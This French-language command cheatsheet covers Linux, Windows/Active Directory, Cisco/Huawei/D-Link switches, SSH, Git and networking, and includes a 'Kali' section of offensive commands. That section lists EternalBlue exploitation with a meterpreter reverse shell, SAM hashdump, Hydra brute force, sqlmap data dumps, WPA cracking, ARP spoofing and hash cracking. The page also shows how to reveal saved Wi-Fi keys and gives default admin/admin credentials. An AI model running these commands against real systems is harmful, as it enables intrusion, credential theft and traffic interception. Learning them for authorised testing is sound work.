Cheatsheets

Référentiel unifié de commandes — recherche en temps réel par type et mot-clé.

Recherche de commandes(640 / 640)

LinuxFichiers & Répertoires
ls -laLister fichiers avec permissions
pwdAfficher répertoire courant
cd /pathChanger de répertoire
mkdir -p dir/subdirCréer répertoires imbriqués
rm -rf dirSupprimer récursivement (force)
cp -r src/ dst/Copier récursivement
mv file newDéplacer ou renommer
cat fileAfficher contenu d'un fichier
less filePaginer le contenu d'un fichier
head -n 20 fileAfficher les 20 premières lignes
tail -f /var/log/syslogSuivre un fichier de log en temps réel
find / -name "*.conf" 2>/dev/nullChercher fichiers par nom
find /home -user usernameTrouver fichiers d'un utilisateur
find / -perm /4000 2>/dev/nullFichiers avec bit SUID
grep -r "pattern" /etc/Recherche récursive de pattern
grep -i "error" /var/log/syslogRecherche insensible à la casse
grep -v "^#" /etc/ssh/sshd_configExclure les lignes commentées
grep -E "192\.168\.[0-9]+\.[0-9]+" log.txtRecherche avec expression régulière étendue
tar -czf archive.tar.gz /dossier/Créer archive gzip
tar -xzf archive.tar.gzExtraire archive gzip
tar -tzf archive.tar.gzLister le contenu d'une archive
awk -F: '{print $1, $6}' /etc/passwdExtraire colonnes (login et home)
sed -i 's/Port 22/Port 2222/' /etc/ssh/sshd_configSubstitution inline dans un fichier
sed -n '10,20p' fichier.txtAfficher lignes 10 à 20
LinuxPermissions & Utilisateurs
chmod 755 script.shPermissions rwxr-xr-x (octal)
chmod 644 fichier.txtPermissions rw-r--r-- (octal)
chmod 600 .ssh/id_rsaPermissions clé privée SSH
chmod u+x fichierAjouter execute au propriétaire
chmod a+x script.shExecute pour tous les utilisateurs
chown user:group fichierChanger propriétaire et groupe
chown -R www-data:www-data /var/www/Changer propriétaire récursivement
useradd -m -s /bin/bash -G sudo usernameCréer utilisateur avec home et sudo
passwd usernameChanger mot de passe utilisateur
usermod -aG docker usernameAjouter utilisateur à un groupe
usermod -L usernameVerrouiller le compte utilisateur
chage -E 2025-12-31 usernameDéfinir date d'expiration du compte
id usernameAfficher UID/GID de l'utilisateur
groups usernameLister les groupes d'un utilisateur
LinuxSystème & Services
systemctl start nginxDémarrer un service
systemctl stop nginxArrêter un service
systemctl restart nginxRedémarrer un service
systemctl reload nginxRecharger la config sans interruption
systemctl enable nginxActiver au démarrage automatique
systemctl status nginxVoir l'état d'un service
journalctl -u nginx -fSuivre les logs d'un service en temps réel
journalctl -u nginx --since "1 hour ago"Logs depuis la dernière heure
journalctl -p errAfficher uniquement les erreurs
apt update && apt upgrade -yMettre à jour les paquets (Debian)
apt install paquetInstaller un paquet
apt remove paquetSupprimer un paquet
apt purge paquetSupprimer paquet et ses configs
apt autoremoveSupprimer les dépendances orphelines
dpkg -l | grep paquetLister les paquets installés
dpkg -i paquet.debInstaller un .deb local
ps auxLister tous les processus
ps aux | grep nginxFiltrer processus par nom
topMoniteur processus interactif
htopMoniteur processus amélioré
kill PIDEnvoyer signal SIGTERM à un processus
kill -9 PIDForcer l'arrêt d'un processus (SIGKILL)
pkill nginxTuer processus par nom
nice -n 10 commandeLancer commande avec priorité basse
crontab -eÉditer les tâches planifiées cron
crontab -lLister les tâches cron
LinuxRéseau Linux
ip -br aAfficher interfaces et IP (format court)
ip -br lAfficher état des interfaces (format court)
uptimeDurée de fonctionnement du système
ip addr showAfficher les interfaces réseau
ip link set eth0 upActiver une interface réseau
ip addr add 192.168.1.10/24 dev eth0Assigner une IP à une interface
ip route showAfficher la table de routage
ip route add default via 192.168.1.1Ajouter une route par défaut
ss -tulnPorts TCP/UDP en écoute
ss -tulnpPorts en écoute avec processus associés
ping -c 4 8.8.8.8Test de connectivité ICMP
traceroute 8.8.8.8Tracer la route vers un hôte
curl -I https://example.comAfficher les en-têtes HTTP
wget -q -O /dev/null https://example.comTester une URL en silence
nslookup example.comRésolution DNS simple
dig example.comRésolution DNS détaillée
dig +short example.com ARésolution DNS courte (enregistrement A)
ssh -i ~/.ssh/id_ed25519 user@serveurConnexion SSH avec clé privée
ssh -p 2222 user@serveurConnexion SSH sur port non-standard
ssh-keygen -t ed25519 -C "email@example.com"Générer une paire de clés SSH
ssh-copy-id user@serveurCopier clé publique vers serveur
ssh -L 8080:localhost:80 user@serveurTunnel SSH local (port forwarding)
ssh -R 8080:localhost:80 user@serveurTunnel SSH distant (reverse port forwarding)
scp file user@host:/pathCopier un fichier via SSH
arping <ip>Résolution ARP (fonctionne même si ICMP bloqué)
arp -s <IP> <MAC>Fixer une entrée ARP statique
arp -d <IP>Supprimer une entrée ARP statique
arp | grep <mac>Chercher correspondance MAC → IP
ip addr add 192.168.10.1/24 dev eth0Ajouter IP temporaire sur interface
ip addr del 192.168.10.1/24 dev eth0Supprimer IP temporaire
ip link show eth0Détail interface (MAC, état, MTU)
ifconfig eth1.211IP d'une sous-interface VLAN
mii-tool -r eth0Relancer auto-négociation (fix mismatch vitesse)
lldpcli show neighborsVoisinage LLDP local
historyHistorique des commandes
LinuxScreen (console série)
ls /dev/*USB*Trouver le port USB branché
screen /dev/ttyUSB0 9600Ouvrir console série (vitesse 9600)
screen -lsLister les sessions screen actives
screen -r <PID>Se rattacher à une session screen
kill <PID>Tuer une session screen
LinuxFirewall Linux
ufw enableActiver le pare-feu UFW
ufw status verboseVoir l'état et les règles UFW
ufw allow 22/tcpAutoriser SSH
ufw allow 80/tcpAutoriser HTTP
ufw allow from 192.168.1.0/24Autoriser tout le sous-réseau LAN
ufw deny 23/tcpBloquer Telnet
ufw delete allow 80/tcpSupprimer une règle UFW
iptables -L -v -nLister les règles iptables
iptables -A INPUT -p tcp --dport 80 -j ACCEPTAutoriser trafic entrant HTTP
iptables -A INPUT -j DROPBloquer tout trafic non explicitement autorisé
iptables-save > /etc/iptables/rules.v4Sauvegarder règles iptables
PowerShellActive Directory
Import-Module ActiveDirectoryImporter le module Active Directory
Get-ADUser -Filter * | Select-Object Name, SamAccountName, EnabledLister tous les utilisateurs AD
Get-ADUser -Identity "username" -Properties *Voir toutes les propriétés d'un utilisateur
New-ADUser -Name "John Doe" -SamAccountName "jdoe" -Enabled $trueCréer un utilisateur AD
Set-ADUser -Identity "jdoe" -Title "Administrateur" -Department "IT"Modifier les propriétés d'un utilisateur
Disable-ADAccount -Identity "jdoe"Désactiver un compte AD
Remove-ADUser -Identity "jdoe"Supprimer un utilisateur AD
Get-ADGroup -Filter *Lister tous les groupes AD
New-ADGroup -Name "GRP_IT" -GroupScope Global -GroupCategory SecurityCréer un groupe de sécurité AD
Add-ADGroupMember -Identity "GRP_IT" -Members "jdoe"Ajouter un utilisateur à un groupe AD
Get-ADGroupMember -Identity "GRP_IT"Lister les membres d'un groupe AD
New-ADOrganizationalUnit -Name "IT" -Path "DC=domain,DC=local"Créer une OU (unité organisationnelle)
Get-ADOrganizationalUnit -Filter *Lister toutes les OUs
PowerShellGPO
Get-GPO -AllLister toutes les GPO
Get-GPOReport -Name "Default Domain Policy" -ReportType HTML -Path "C:\GPO_Report.html"Exporter un rapport GPO en HTML
New-GPO -Name "Politique_Securite_IT"Créer une nouvelle GPO
New-GPLink -Name "Politique_Securite_IT" -Target "OU=IT,DC=domain,DC=local"Lier une GPO à une OU
gpupdate /forceForcer l'application immédiate des GPO
gpresult /RRésultat des GPO appliquées
gpresult /H rapport.htmlRapport GPO en HTML
PowerShellDNS & DHCP Windows
Get-DnsServerZoneLister les zones DNS
Add-DnsServerPrimaryZone -Name "example.com" -ZoneFile "example.com.dns"Créer une zone DNS primaire
Add-DnsServerResourceRecordA -Name "www" -ZoneName "example.com" -IPv4Address "192.168.1.10"Ajouter un enregistrement A
Resolve-DnsName "server01.domain.local"Résoudre un nom DNS
ipconfig /flushdnsVider le cache DNS local
Get-DhcpServerv4ScopeLister les scopes DHCP
Add-DhcpServerv4Scope -Name "LAN" -StartRange 192.168.1.100 -EndRange 192.168.1.200 -SubnetMask 255.255.255.0Créer un scope DHCP
Get-DhcpServerv4Lease -ScopeId 192.168.1.0Voir les baux DHCP actifs
PowerShellSystème Windows
Get-Service | Where-Object Status -eq "Running"Services en cours d'exécution
Start-Service -Name "wuauserv"Démarrer un service Windows
Stop-Service -Name "wuauserv"Arrêter un service Windows
Restart-Service -Name "spooler"Redémarrer un service Windows
Set-Service -Name "wuauserv" -StartupType AutomaticConfigurer le type de démarrage
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5Top 5 processus par CPU
Get-EventLog -LogName System -Newest 5050 derniers événements système
Get-WmiObject Win32_OperatingSystemInformations sur l'OS
Set-ExecutionPolicy RemoteSignedAutoriser scripts PowerShell signés
Get-ChildItem -Recurse -Filter "*.log"Chercher fichiers log récursivement
Get-Process | Export-Csv -Path "processes.csv" -NoTypeInformationExporter processus en CSV
systeminfoInformations système complètes (CMD)
tasklistLister les processus (CMD)
PowerShellRéseau Windows
Get-SmbShareLister les partages réseau
New-SmbShare -Name "Partage_IT" -Path "D:\Partages\IT" -FullAccess "GRP_IT"Créer un partage réseau
Set-SmbShare -Name "Partage_IT" -Description "Partage du service IT"Modifier un partage réseau
ipconfig /allInformations réseau complètes
netstat -anConnexions réseau actives et ports
Test-NetConnection host -Port 80Tester la connectivité TCP
Invoke-Command -ComputerName "PC" -ScriptBlock {Get-Service}Exécution distante PowerShell
net user username /domainInfos utilisateur dans le domaine (CMD)
net group "Domain Admins" /domainMembres du groupe Domain Admins (CMD)
PowerShellHyper-V
Get-VMLister les machines virtuelles Hyper-V
New-VM -Name "Server01" -MemoryStartupBytes 2GB -Generation 2Créer une nouvelle VM
Start-VM -Name "Server01"Démarrer une VM
Stop-VM -Name "Server01"Arrêter une VM
Checkpoint-VM -Name "Server01" -SnapshotName "Avant mise à jour"Créer un snapshot de VM
SwitchCiscoNavigation & Affichage
enablePasser en mode privilégié (EXEC)
configure terminalEntrer en mode configuration globale
endRetourner au mode privilégié depuis config
write memorySauvegarder la configuration courante
copy running-config startup-configCopier config active vers startup
show versionVersion IOS et informations hardware
show running-configAfficher la configuration active
show ip interface briefRésumé de toutes les interfaces IP
show ip routeAfficher la table de routage IP
show interfacesStatistiques détaillées des interfaces
show vlan briefRésumé des VLANs configurés
show ip ospf neighborVoisins OSPF détectés
show ip ospf databaseBase de données OSPF (LSDB)
show access-listsAfficher toutes les ACLs
SwitchCiscoConfiguration Interface
interface GigabitEthernet0/0Entrer en configuration d'interface
ip address 192.168.1.1 255.255.255.0Configurer l'adresse IP d'une interface
no shutdownActiver l'interface (lever administrativement)
description "LAN Interface"Ajouter une description à l'interface
hostname Router1Définir le nom du routeur/switch
banner motd # Message du jour #Message d'avertissement à la connexion
SwitchCiscoVLANs
vlan 10Créer ou accéder au VLAN 10
name VLAN_COMPTANommer un VLAN
switchport mode accessConfigurer un port en mode accès
switchport access vlan 10Assigner un port à un VLAN
switchport mode trunkConfigurer un port en mode trunk
switchport trunk allowed vlan 10,20,30Autoriser VLANs spécifiques sur trunk
SwitchCiscoRoutage
ip route 192.168.2.0 255.255.255.0 192.168.1.254Route statique vers un réseau
ip route 0.0.0.0 0.0.0.0 10.0.0.1Route par défaut (passerelle)
router ospf 1Activer le processus OSPF
network 192.168.1.0 0.0.0.255 area 0Annoncer un réseau en OSPF area 0
ip route 192.168.2.0 255.255.255.0 192.168.1.254Route statique
ip route 0.0.0.0 0.0.0.0 10.0.0.1Route par défaut
router ospf 1Activer OSPF
network 192.168.1.0 0.0.0.255 area 0Annoncer réseau en OSPF
SwitchCiscoNAT & DHCP
access-list 1 permit 192.168.0.0 0.0.255.255ACL standard pour NAT
ip nat inside source list 1 interface Gi0/0 overloadNAT Overload (PAT) vers l'interface WAN
ip nat inside source static 192.168.1.10 203.0.113.5NAT statique (IP privée → IP publique)
ip nat insideMarquer interface comme côté LAN (NAT)
ip nat outsideMarquer interface comme côté WAN (NAT)
ip dhcp pool LAN_POOLCréer un pool DHCP
network 192.168.1.0 255.255.255.0Réseau du pool DHCP
default-router 192.168.1.1Passerelle par défaut DHCP
dns-server 8.8.8.8 1.1.1.1Serveurs DNS pour le pool DHCP
ip dhcp excluded-address 192.168.1.1 192.168.1.20Exclure des adresses du pool DHCP
ip nat inside source list 1 interface Gi0/0 overloadNAT Overload (PAT)
ip nat inside source static 192.168.1.10 203.0.113.5NAT statique
ip dhcp pool LAN_POOLCréer un pool DHCP
ip dhcp excluded-address 192.168.1.1 192.168.1.20Exclure des adresses
SwitchCiscoSécurité & ACLs
access-list 10 permit 192.168.1.0 0.0.0.255ACL standard — autoriser sous-réseau
access-list 10 deny anyACL standard — tout bloquer
access-list 100 permit tcp 192.168.1.0 0.0.0.255 any eq 80ACL étendue — autoriser HTTP
access-list 100 permit tcp 192.168.1.0 0.0.0.255 any eq 443ACL étendue — autoriser HTTPS
access-list 100 deny ip any anyACL étendue — bloquer tout le reste
ip access-group 100 inAppliquer l'ACL en entrée sur une interface
access-list 1 permit 192.168.0.0 0.0.255.255ACL standard pour NAT
access-list 100 permit tcp 192.168.1.0 0.0.0.255 any eq 80ACL étendue — autoriser HTTP
access-list 100 deny ip any anyACL étendue — bloquer tout
ip access-group 100 inAppliquer ACL en entrée
SSHConnexion
ssh user@hostConnexion standard
ssh user@host -p 2222Connexion sur un port spécifique
ssh -l user hostConnexion avec -l (login)
ssh -l root hostConnexion root avec flag -l
ssh -A user@hostForward agent SSH (pour rebondir ensuite)
SSHProxyJumpRebond
ssh -J user@bastion user@cibleRebond via un bastion
ssh -J user@bastion:2222 user@cibleRebond avec port spécifique
scp -J user@bastion fichier.txt user@cible:/tmp/Copie de fichier via bastion
SSHTunnels
ssh -D 9999 user@hostTunnel SOCKS dynamique (proxy navigateur)
ssh -N -L 8080:cible:80 user@bastionPort forwarding local
SSHClés
ssh-keygen -t ed25519Générer une paire de clés (recommandé)
ssh-keygen -t rsa -b 4096Générer clé RSA 4096 bits
ssh-copy-id user@hostCopier sa clé publique sur un serveur
ssh-addCharger la clé par défaut dans l'agent
ssh-add -lLister les clés chargées dans l'agent
ssh-add -DVider l'agent SSH
SSHDépannage
ssh-keygen -R hostSupprimer ancienne clé d'un hôte
ssh -vv user@hostMode debug verbose
ssh -o StrictHostKeyChecking=no user@hostAccepter la clé sans confirmation
SSHConfig (~/.ssh/config)
Host mon-serveur\n User admin\n Port 2222\n Hostname server.example.comRaccourci dans ~/.ssh/config
GitInitialisation
git initInitialiser un dépôt Git local
git clone urlCloner un dépôt distant
git clone url --depth 1Cloner avec historique minimal (shallow)
GitSuivi
git statusVoir l'état des fichiers dans le dépôt
git add .Indexer tous les changements
git add -pIndexer interactivement par hunks
git commit -m "message"Créer un commit
git commit --amendModifier le dernier commit
git diffVoir les changements non indexés
git diff --stagedVoir les changements indexés
git log --oneline --graphHistorique compact avec graphe de branches
git show HEADDétails du dernier commit
GitRemote
git remote -vLister les dépôts distants
git remote add origin urlAjouter un dépôt distant
git push origin mainPousser vers la branche main
git push -u origin featurePousser et définir le remote de suivi
git pullRécupérer et fusionner depuis le remote
git fetch originRécupérer sans fusionner
GitBranches
git branch -aLister toutes les branches (locales et distantes)
git checkout -b featureCréer et basculer sur une nouvelle branche
git switch mainBasculer sur la branche main
git merge featureFusionner une branche dans la branche active
git rebase mainRebaser la branche sur main
git branch -d featureSupprimer une branche locale
GitAvancé
git stashMettre de côté les changements en cours
git stash popRestaurer les changements mis de côté
git reset --hard HEAD~1Annuler le dernier commit (destructif)
git revert HEADAnnuler le dernier commit (non-destructif)
git tag v1.0.0Créer un tag de version
git cherry-pick abc1234Appliquer un commit spécifique
git bisect startDémarrer la recherche binaire de régression
RéseauDiagnostic
ping hostTester la connectivité ICMP
traceroute hostTracer la route vers un hôte
tracepath hostTracer la route avec MTU (sans root)
mtr hostTraceroute interactif en temps réel
netstat -tulnpPorts en écoute avec processus associés
arp -aAfficher la table ARP locale
arp -nTable ARP sans résolution DNS
RéseauDNS
dig domainRésolution DNS complète
dig @8.8.8.8 domainRésolution DNS via serveur spécifique
dig -x 8.8.8.8Résolution DNS inverse (PTR)
nslookup domainRésolution DNS simple
host domainRésolution DNS en ligne de commande
whois domain.comInformations WHOIS d'un domaine
RéseauAnalyse
nmap -sV hostScanner les ports et détecter les versions
nmap -sn 192.168.1.0/24Découverte d'hôtes (ping scan)
tcpdump -i eth0 port 80Capturer le trafic HTTP sur eth0
tcpdump -i eth0 -w capture.pcapEnregistrer une capture réseau
tcpdump -r capture.pcapLire une capture réseau sauvegardée
wiresharkAnalyser le trafic réseau graphiquement
RéseauHTTP
curl -I urlAfficher les en-têtes HTTP d'une URL
curl -X POST -d "data" urlRequête HTTP POST avec données
curl -u user:pass urlRequête HTTP avec authentification
curl -k https://urlIgnorer les erreurs de certificat SSL
wget urlTélécharger un fichier
wget -r -np urlTélécharger récursivement un site
RéseauDiagnostic Windows
ipconfigConfiguration IP de toutes les interfaces
ipconfig /allConfig IP détaillée (MAC, DHCP, DNS, bail)
ipconfig /releaseLibérer le bail DHCP
ipconfig /renewRenouveler le bail DHCP
ipconfig /flushdnsVider le cache DNS local
ipconfig /displaydnsAfficher le cache DNS local
ipconfig /registerdnsRéenregistrer les noms DNS
nbtstat -a <host>Résolution NetBIOS d'un hôte distant
nbtstat -nNoms NetBIOS enregistrés localement
netsh interface show interfaceÉtat de toutes les interfaces
netsh interface ip show configConfiguration IP détaillée
netsh wlan show profilesProfils WiFi enregistrés
netsh wlan show profile name="SSID" key=clearVoir le mot de passe WiFi
netsh advfirewall show allprofilesÉtat du pare-feu Windows
netsh interface ip set dns "Ethernet" static 8.8.8.8Changer le DNS
route printTable de routage Windows
pathping hostCombinaison ping + traceroute avec stats
Test-NetConnection host -Port 443Test de connectivité TCP (PowerShell)
RéseauDiagnostic Linux
ip addr showAfficher toutes les interfaces et IP
ip -br aInterfaces et IP (format court)
ip -br lÉtat des interfaces (format court)
ip route showTable de routage
ip route add 10.0.0.0/24 via 192.168.1.1Ajouter une route statique
ip route del 10.0.0.0/24Supprimer une route
ip neigh showTable ARP (remplace arp -a)
ss -tulnpPorts en écoute avec processus (remplace netstat)
resolvectl statusVérifier la configuration DNS (systemd)
systemd-resolve --flush-cachesVider le cache DNS (systemd)
nmcli device statusÉtat des interfaces (NetworkManager)
nmcli connection showConnexions configurées
ethtool eth0Infos physiques d'une interface (vitesse, duplex)
iwconfig wlan0Informations interface WiFi
RéseauCache & Reset
sudo systemd-resolve --flush-cachesVider cache DNS Linux (systemd)
sudo resolvectl flush-cachesVider cache DNS Linux (alternatif)
sudo dscacheutil -flushcacheVider cache DNS macOS
sudo killall -HUP mDNSResponderVider cache DNS macOS (alternatif)
ipconfig /flushdnsVider cache DNS Windows
sudo ip addr flush dev eth0Vider la config IP d'une interface
sudo dhclient -r eth0Libérer le bail DHCP Linux
sudo dhclient eth0Renouveler le bail DHCP Linux
netsh winsock resetRéinitialiser le stack TCP/IP Windows
netsh int ip resetReset complet de la config IP Windows
RéseauTransfert de fichiers
scp fichier user@host:/cheminCopier un fichier via SSH
scp -r dossier user@host:/cheminCopier un dossier récursivement
scp user@host:/chemin/fichier .Télécharger un fichier distant
rsync -avz dossier user@host:/cheminSynchroniser avec compression
rsync -avz --delete source/ dest/Synchroniser en supprimant les obsolètes
nc -zv host 80Test rapide de port (netcat)
nc -l 4444Écouter sur un port (netcat)
RéseauSNMP
snmpwalk -v2c -c public hostInterroger un agent SNMP v2c
snmpget -v2c -c public host OIDRécupérer une valeur SNMP
snmpwalk -v3 -u user -l authPriv -a SHA -A pass -x AES -X key hostSNMP v3 chiffré
RéseauFirewall Linux
iptables -L -nLister les règles de filtrage
iptables -t nat -L -nLister les règles NAT
iptables -A INPUT -p tcp --dport 22 -j ACCEPTAutoriser SSH
iptables -A INPUT -j DROPBloquer tout le reste
iptables-save > /etc/iptables/rules.v4Sauvegarder les règles
iptables-restore < /etc/iptables/rules.v4Restaurer les règles
nft list rulesetLister les règles nftables
ufw statusÉtat du pare-feu UFW
ufw allow 22/tcpAutoriser SSH via UFW
ufw enableActiver UFW
iptables-save | grep <port>Vérifier une règle NAT/redirection
ipset list <nom>Lister les entrées d'un ipset
RéseauARP & Bande passante
arping <ip>Résolution ARP directe (détecte conflits IP)
iperf3 -c <host> -P4 -p5201Test de bande passante upload
iperf3 -c <host> -P4 -p5201 -RTest de bande passante download
ping -c 500 -f <ip>Flood ping (500 paquets, test lien rapide)
RéseauGrep & Logs
grep -A 5 "pattern" fileAfficher 5 lignes après le match
grep -B 5 "pattern" fileAfficher 5 lignes avant le match
grep -C 5 "pattern" fileContexte 5 lignes avant + après
grep -a "pattern" fileForcer traitement texte (fichiers binaires)
journalctl -u service | grep "pattern"Chercher dans les logs d'un service
journalctl -fu serviceSuivre les logs en temps réel (follow)
Réseautcpdump
tcpdump -i eth0 -nCapture temps réel sans résolution DNS
tcpdump -i eth0 -nvvCapture verbose
tcpdump -i eth0 -w capture.pcapEnregistrer dans un fichier
tcpdump -C 1000 -i eth0 -w cap.pcapLimiter à 1000 paquets
tcpdump -i eth0 host 10.0.0.1 -nvvFiltrer par IP
tcpdump -i eth0 ether host AA:BB:CC:DD:EE:FF -nvvFiltrer par MAC
tcpdump -i eth0 port 22 -nvvFiltrer par port
tcpdump -i eth0 port 67 or port 68 -nvvCapturer trafic DHCP
tcpdump -r capture.pcapRelire une capture sauvegardée
KaliReconnaissance
nmap -sC -sV -oN scan.txt targetScan complet avec scripts NSE et sauvegarde
nmap -sS targetScan SYN furtif (stealth scan)
nmap -p- targetScanner les 65535 ports
nmap -O targetDétecter le système d'exploitation
nmap -A targetScan agressif (OS, version, scripts, traceroute)
nmap --script vuln targetScanner les vulnérabilités connues (NSE)
nmap -sS -sV target -oX scan.xmlExport XML pour import Metasploit
nmap -sS -sV target -oA scan_completExport dans tous les formats simultanément
gobuster dir -u http://target -w list.txtÉnumération de répertoires web
gobuster dns -d target.com -w subdomains.txtÉnumération de sous-domaines DNS
searchsploit keywordRechercher des exploits dans la base locale
theHarvester -d domain.com -b allCollecte OSINT : emails, sous-domaines
nikto -h http://targetAudit de vulnérabilités d'un serveur web
enum4linux -a targetÉnumération SMB/NetBIOS (Windows/Samba)
KaliMetasploit
msfconsoleLancer le framework Metasploit
search ms17-010Rechercher un module par mot-clé ou CVE
use exploit/windows/smb/ms17_010_eternalblueSélectionner un module exploit
show optionsAfficher les paramètres du module actif
show payloadsLister les payloads compatibles
set RHOSTS 10.10.10.1Définir l'adresse de la cible
setg LHOST 10.10.14.1Définir l'IP d'attaquant globalement
set payload windows/x64/meterpreter/reverse_tcpSélectionner un payload Meterpreter
exploitLancer l'attaque
exploit -zLancer et mettre la session en arrière-plan
sessionsLister les sessions actives
sessions -i 2Interagir avec la session n°2
db_nmap -sS -sV 10.10.10.1Scan Nmap depuis msfconsole (résultats en DB)
workspace -a TryHackMeCréer un espace de travail isolé
hostsLister les machines scannées en base
servicesLister les services découverts en base
saveSauvegarder les variables globales Metasploit
KaliMeterpreter
getuidVérifier les privilèges obtenus
psLister les processus sur la cible
migrate PIDMigrer la session vers un autre processus
hashdumpExtraire les hashs SAM (mots de passe)
run post/windows/gather/smart_hashdumpExtraire et sauvegarder les hashs SAM
search -f flag*.txtChercher un fichier sur la cible
backgroundMettre la session en arrière-plan (Ctrl+Z)
KaliExploitation
hydra -l user -P wordlist.txt ssh://targetBrute force SSH avec Hydra
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"Brute force formulaire web HTTP
sqlmap -u "http://target?id=1" --dbsDétecter injections SQL et lister BDs
sqlmap -u "http://target?id=1" -D dbname -T users --dumpExtraire une table via injection SQL
KaliWi-Fi
airmon-ng check killTuer les processus interférant avec le Wi-Fi
airmon-ng start wlan0Passer la carte Wi-Fi en mode monitor
airodump-ng wlan0monScanner tous les réseaux Wi-Fi à portée
airodump-ng --bssid <MAC> --channel <CH> -w capture wlan0monCibler un réseau et capturer le handshake WPA
aircrack-ng -b <MAC> -w rockyou.txt capture.capAttaque dictionnaire sur handshake WPA
KaliMitM & Réseau
macof -i eth0Saturer la table MAC du switch (flood)
ettercap -GLancer Ettercap en mode graphique
ettercap -T -q -i eth0 -M arp:remote /VICTIME// /ROUTEUR//ARP spoofing Man-in-the-Middle
tcpdump -i eth0 -w interception.pcapCapturer trafic intercepté vers fichier .pcap
KaliPost-exploitation
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCracker des hashs avec John the Ripper
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCracker hashs NTLM (Windows)
hashcat -m 0 hash.txt wordlist.txtCracker hashs MD5 avec GPU
hashcat -m 1000 hash.txt wordlist.txtCracker hashs NTLM avec GPU
sudo gunzip /usr/share/wordlists/rockyou.txt.gzDécompresser le dictionnaire rockyou
SwitchCiscoNavigation
enablePasser en mode privilégié (EXEC)
conf terminalEntrer en mode configuration
exitSortir du mode courant
endRetourner au mode privilégié
no <cmd>Annuler une commande
SwitchCiscoMonitoring
show running-configConfiguration en cours
show interfaces statusÉtat de tous les ports
show interfaces status gi0/0/1Détail d'un port
show mac address-tableTable MAC complète
show mac address-table address <mac>Chercher une adresse MAC
show mac address-table interface gi28MAC sur un port spécifique
show ip interface briefIP des interfaces
show versionVersion firmware
show lldp neighborsVoisinage LLDP
show ip routeTable de routage
show vlan briefListe des VLANs
show arpTable ARP
show clockHeure du switch
show loggingLogs du switch
show logging | include gi3Logs filtrés par port
show interfaces configVoir si un port est coupé
show <cmd> | include <regex>Filtrer la sortie d'une commande
show interfaces descriptionDescription + état Up/Down de tous les ports
show interfaces countersCompteurs émission/réception par port
show running-config interface gi11Config d'un port spécifique
show inventoryInventaire matériel (châssis, modules, SFP)
show power inlineÉtat PoE global (budget, puissance, statut)
show power inline gi11Détail PoE d'un port
show lldp neighbors gi11Voisinage LLDP d'un seul port
show startup-configConfiguration sauvegardée (NVRAM)
SwitchCiscoVLAN
vlan 10Créer le VLAN 10
vlan database 10Créer VLAN (syntaxe Catalyst)
name SERVEURSNommer le VLAN courant
no vlan 10Supprimer un VLAN
switchport mode accessPort en mode accès
switchport access vlan 10Assigner port au VLAN 10
no switchport access vlanRetirer le VLAN access
switchport mode trunkPort en mode trunk
switchport trunk allowed vlan add 10,209Ajouter VLANs Tagged
switchport trunk allowed vlan remove 209Retirer un VLAN Tagged
switchport trunk allowed vlan noneRetirer tous les VLANs
switchport trunk native vlan 10VLAN natif (Untagged)
no switchport trunk native vlanRetirer le native VLAN
SwitchCiscoInterfaces
interface range gi1,gi3-5Sélectionner plusieurs interfaces
shutdownDésactiver un port
no shutdownRéactiver un port
SwitchCiscoIP
interface vlan 1 → ip address 10.x.x.x 255.255.255.0IP fixe sur VLAN de management
interface vlan 209 → ip address dhcpIP DHCP sur VLAN
SwitchCiscoPoE
power inline autoActiver PoE
power inline neverCouper PoE (reboot équipement)
power inline limit-mode portLimiter le budget PoE par port
SwitchCiscoDiagnostic
test cable-diagnostics tdr interface gi0/14Lancer test câble TDR
show cable-diagnostics tdr interface gi0/14Résultat test câble
show cable-diagnostics cable-length interface gi9Longueur de câble
show fiber-ports optical-transceiver int gi27Diagnostic fibre SFP
SwitchCiscoSystème
write memSauvegarder la configuration
copy running-config startup-configSauvegarder (= write mem)
reloadRedémarrer
reload in 10Reboot planifié dans 10 minutes
reload cancelAnnuler le reboot planifié
SwitchCiscoSauvegarde
show startup-configAfficher la configuration sauvegardée
copy running-config tftp:Exporter la config vers un serveur TFTP
SwitchCiscoTrunk & EtherChannel
show interfaces trunkAfficher les ports trunk et VLANs autorisés
channel-group 1 mode activeCréer un EtherChannel LACP
show etherchannel summaryÉtat des EtherChannels
SwitchCiscoSTP
show spanning-treeÉtat du Spanning Tree
spanning-tree portfastActiver PortFast (transition immédiate)
spanning-tree bpduguard enableActiver BPDU Guard (protection boucle)
SwitchCiscoSécurité port
show port-securityÉtat de la sécurité des ports
switchport port-securityActiver la sécurité sur le port
switchport port-security maximum 2Limiter à 2 MAC sur le port
switchport port-security violation shutdownDésactiver le port en cas de violation
switchport port-security mac-address stickyApprendre dynamiquement les MAC autorisées
SwitchHuaweiNavigation
system-viewEntrer en mode configuration
quitSortir du mode courant
undo <cmd>Annuler une commande (= "no" Cisco)
SwitchHuaweiMonitoring
display current-configurationConfig en cours
display interface briefÉtat des ports
display interface GigabitEthernet 0/0/1Détail d'un port
display mac-addressTable MAC
display ip interface briefIP des interfaces
display versionVersion firmware
display lldp neighbor briefVoisinage LLDP
display ip routing-tableTable de routage
display vlanListe des VLANs
display arpTable ARP
display clockHeure
display <cmd> | include <regex>Filtrer la sortie
SwitchHuaweiVLAN
vlan batch 10 209 to 212Créer plusieurs VLANs
port link-type trunkPort en mode trunk
port trunk allow-pass vlan 10 209 to 212VLANs autorisés (Tagged)
port trunk pvid vlan 10VLAN natif trunk (Untagged)
undo trunk allow-pass vlan allRetirer tous les VLANs
port default vlan 40Mode access
undo port default vlanRetirer le VLAN access
SwitchHuaweiInterfaces
interface range gi0/0/1 gi0/0/3 to gi0/0/5Range interfaces
shutdown / undo shutdownDésactiver / réactiver un port
clear configuration thisReset complet d'une interface
SwitchHuaweiIP
interface VlanIf 1 → ip address 10.x.x.x maskIP fixe sur VLAN
interface VlanIf 209 → ip address dhcp-allocIP DHCP sur VLAN
SwitchHuaweiPoE
poe power 15400Limiter le budget PoE (mW)
SwitchHuaweiSystème
sysname NOMChanger le hostname
saveSauvegarder la configuration
rebootRedémarrer
schedule reboot delay <minutes>Reboot planifié
reset factory-configurationReset usine
SwitchD-LinkConnexion
telnet <ip_switch>Connexion (défaut: 10.90.90.90 admin/admin)
SwitchD-LinkMonitoring
show config effectiveConfiguration complète
show switchInfos switch (IP, MAC)
show vlanVLANs configurés
show portsÉtat de tous les ports
show ports 2Détail d'un port
show fdbTable MAC complète
